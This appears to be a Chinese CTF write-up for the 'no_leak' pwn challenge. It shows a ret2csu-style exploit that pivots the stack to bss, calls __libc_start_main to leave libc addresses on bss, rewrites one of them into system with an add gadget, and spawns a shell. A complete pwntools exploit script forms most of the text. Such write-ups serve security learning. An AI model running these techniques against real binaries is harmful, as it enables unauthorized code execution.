一、神奇的gadget:
这个gadget一般存在于__do_global_dtors_aux中,可能是出题人自己写的gadget吧~适用于no leak类型的题目。
拿一道题看看吧:
no_leak
先看看保护机制:
got表不可改,NX保护,庆幸的是没有canary保护和pie,比较友好,先看看ida:
1 2 3 4 5 6 7 8
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf;
alarm(0x3Cu); read(0, &buf, 0x100uLL); return 0; }
|
程序很简单,就一个read的栈溢出,但是没有打印函数,这题我的第一反应是dl_runtime_resolve,先栈迁移到bss上,再进行一系列处理,但是,调用plt+6处的dl_runtime函数时,发现这个函数不见了,所以这题我没能用dl_runtime_resolve的方法做出来,本想放弃然后去复现DelCTF,看到了一个神奇的gadget,说是适用于no leak的情况,所以这题就试试吧:
大概思路如下:
1、栈迁移到bss上
2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布
3、找一个能用的真实地址,利用神奇的gadget,把它伪造成onegadget,再次回跳到main函数
4、栈溢出ret到onegadget即可getshell
直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF("./no_leak") if local: p = process('./no_leak') libc = elf.libc else: p = remote('nc.eonew.cn',10002) libc = ELF('./libc-2.27.so')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
read_got = elf.got["read"] read_plt = elf.symbols["read"] main_got = elf.got["__libc_start_main"] finit = 0x0000000004005E0 init = 0x000000000400570 main = 0x000000000400450 leave_ret = 0x0000000000400564 pop_rbx_rbp_ret = 0x0000000004005CA add_rbp_rbx_ret = 0x000000000400518 pop_rdi_ret = 0x00000000004005d3 pop_rsi_r15_ret = 0x00000000004005d1 bss_addr = elf.bss() + 0x500 bss = elf.bss()
def middle_overflow(offset,function_got,rdi,rsi,rdx): py = '' py += offset py += p64(0x4005C6) py += p64(0) py += p64(0) py += p64(1) py += p64(function_got) py += p64(rdi) py += p64(rsi) py += p64(rdx) py += p64(0x4005B0) py += p64(0) py += p64(0x2d8a9) py += p64(0x613dc8+0x3d) py += p64(0) py += p64(0) py += p64(0) py += p64(0) py += p64(add_rbp_rbx_ret) py = py.ljust(0x100,'c') sd(py)
py = '' py += 'a'*0x80 py += p64(bss_addr) py += p64(pop_rdi_ret) py += p64(0) py += p64(pop_rsi_r15_ret) py += p64(bss_addr) py += p64(0) py += p64(read_plt) py += p64(leave_ret) py = py.ljust(0x100,'a') sd(py)
middle_overflow('bbbbbbbb',main_got,main,finit,init)
py = '' py += 'b'*0x80 py += p64(0) py += p64(pop_rbx_rbp_ret) py += p64(0xFFFFFFFFFFC5EE18) py += p64(0x601495) py += p64(0) py += p64(0) py += p64(0) py += p64(0) py += p64(add_rbp_rbx_ret) py += p64(main) py = py.ljust(0x100,'a') sd(py)
binsh = 0x6012b0 system = 0x601458 middle_overflow('/bin/sh\x00'+'b'*0x80,system,binsh,finit,init)
p.interactive()
|
下面就是debug调试的信息:
首先栈迁移往0x601510处读入我们调用libc_start_main的payload
可以看下情况:
继续运行:
第一个参数是main的地址,可以看到利用中级栈溢出的方式,成功实现了调用libc_start_main,再次read,当我们进去看时,就会发现除了我们的再次输入外,在bss上留下还有一些libc的地址:
这里选择0x601458作为我们的牺牲品,通过神奇的gadget,add它和system的偏移,就可以把它改成system,同时它的bss地址可以看成是system的伪got表地址。
改成功了,接着再次回到main函数,直接写binsh到首部,然后中级栈溢出调用system就可以getshell了:
以上就是对于神奇的gadget的一次使用,这样做法应该是出题人自己想好的,一般的程序估计没有这个gadget,所以也是一种积累吧。